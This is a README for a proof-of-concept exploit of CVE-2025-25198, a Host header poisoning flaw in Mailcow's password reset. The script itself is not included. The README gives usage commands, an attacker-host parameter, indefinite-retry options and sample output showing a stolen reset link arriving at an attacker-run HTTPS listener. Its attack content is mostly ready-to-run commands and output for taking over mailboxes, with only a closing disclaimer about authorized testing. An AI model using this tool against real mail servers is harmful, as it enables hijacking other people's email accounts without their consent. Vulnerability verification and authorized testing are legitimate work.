groppoxx/cve-2025-25198-pocPoC for CVE-2025-25198: automated Host header poisoning test for Mailcow - HTTPS listener, automatic cookie/CSRF handling, captures first reset link.
Proof-of-concept for CVE-2025-25198, a Host header poisoning issue affecting Mailcow password reset flows.
The script starts a local HTTPS listener on port 443, obtains a valid CSRF token automatically, sends the password reset sequence with a poisoned Host header, and stops when a reset link is recovered either from the HTTP response or from a callback to the listener.
Host header.Python 3.8+
OpenSSL in PATH
sudo/root privileges to bind port 443
Inbound TCP/443 reachable from the target
Install dependencies:
pip install -r requirements.txt
Values wrapped in angle brackets are placeholders. Replace them with your own values and do not include the < or > characters.
sudo python3 cve_2025_25198.py \
--listen-host 0.0.0.0 \
--base-url <MAILCOW_URL> \
--username <MAILBOX> \
--attacker-host <ATTACKER_HOST> \
--http2
<MAILCOW_URL> # Target Mailcow base URL. Example: https://mail.example.com
<MAILBOX> # Mailbox/user passed to the reset form. Usually an email address.
<ATTACKER_HOST> # IP or DNS name that the target can reach on TCP/443.
sudo python3 cve_2025_25198.py \
--listen-host 0.0.0.0 \
--base-url https://mail.cows.com \
--username [email protected] \
--attacker-host 10.10.13.12 \
--http2
Example output:
[2026-05-17T18:30:12Z] [+] HTTPS listener on https://0.0.0.0:443
[2026-05-17T18:30:13Z] [+] Auto CSRF: 0123456789abcdef...
[2026-05-17T18:30:13Z] [>] Sending sequence with poisoned Host
[2026-05-17T18:30:14Z] [HIT] GET /reset-password?token=AAAA-BBBB-CCCC-DDDD ← 10.10.13.12 [200]
╔════════════════════════════════════════════════════════════════════════════════╗
║ RESET LINK FOUND! (listener) ║
╟════════════════════════════════════════════════════════════════════════════════╢
║ https://mail.cows.com/reset-password?token=AAAA-BBBB-CCCC-DDDD ║
║ Target: mail.cows.com ║
╚════════════════════════════════════════════════════════════════════════════════╝
--http2
Use HTTP/2 via httpx. Recommended for best parity with modern browsers.
--interval <seconds>
Seconds between attempts and listener wait windows. Default: 8
--max-attempts <N>
Stop after N attempts. Default: 0, which means retry indefinitely.
--cookie '<pairs>'
Seed the client cookie jar manually.
Example: --cookie 'PHPSESSID=abcdef123456; another=value'
--csrf <TOKEN>
Use a known CSRF token instead of auto-discovery.
--only-final
Hide progress logs and print only the final reset-link banner.
443.443 requires sudo or root.https://<ATTACKER_HOST>/.server.pem and server.key are generated automatically if missing.This PoC is intended for authorized security testing, lab environments, and vulnerability verification. Do not use it against systems without explicit permission.